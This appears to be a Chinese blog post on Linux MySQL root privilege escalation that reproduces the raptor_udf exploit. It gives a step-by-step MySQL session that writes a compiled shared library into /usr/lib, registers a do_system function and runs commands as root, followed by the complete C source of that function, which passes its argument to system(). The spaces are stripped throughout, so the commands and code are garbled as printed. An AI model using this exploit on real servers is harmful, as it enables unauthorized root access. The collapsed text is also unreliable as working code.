Linux mysql root 提权

*Usage:
*$id
*uid=500(raptor)gid=500(raptor)groups=500(raptor)
*$gcc-g-craptor_udf.c
*$gcc-g-shared-W1,-soname,raptor_udf.so-oraptor_udf.soraptor_udf.o-lc
*$mysql-uroot-p
*Enterpassword:
*[...]
*mysql>usemysql;
*mysql>createtablefoo(lineblob);
*mysql>insertintofoovalues(load_file('/home/raptor/raptor_udf.so'));
*mysql>select*fromfoointodumpfile'/usr/lib/raptor_udf.so';
*mysql>createfunctiondo_systemreturnsintegersoname'raptor_udf.so';
*mysql>select*frommysql.func;
*+-----------+-----+---------------+----------+
*|name|ret|dl|type|
*+-----------+-----+---------------+----------+
*|do_system|2|raptor_udf.so|function|
*+-----------+-----+---------------+----------+
*mysql>selectdo_system('id>/tmp/out;chownraptor.raptor/tmp/out');
*mysql>\!sh
*sh-2.05b$cat/tmp/out
*uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm)
*[...]
*/

raptor_udf.c:

#include<stdio.h>
#include<stdlib.h>

enumItem_result{STRING_RESULT,REAL_RESULT,INT_RESULT,ROW_RESULT};

typedefstructst_udf_args{
unsignedintarg_count;//numberofarguments
enumItem_result*arg_type;//pointertoitem_result
char**args;//pointertoarguments
unsignedlong*lengths;//lengthofstringargs
char*maybe_null;//1formaybe_nullargs
}UDF_ARGS;

typedefstructst_udf_init{
charmaybe_null;//1iffunccanreturnNULL
unsignedintdecimals;//forrealfunctions
unsignedlongmax_length;//forstringfunctions
char*ptr;//freeptrforfuncdata
charconst_item;//0ifresultisconstant
}UDF_INIT;

intdo_system(UDF_INIT*initid,UDF_ARGS*args,char*is_null,char*error)
{
if(args->arg_count!=1)
return(0);

system(args->args[0]);

return(0);
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值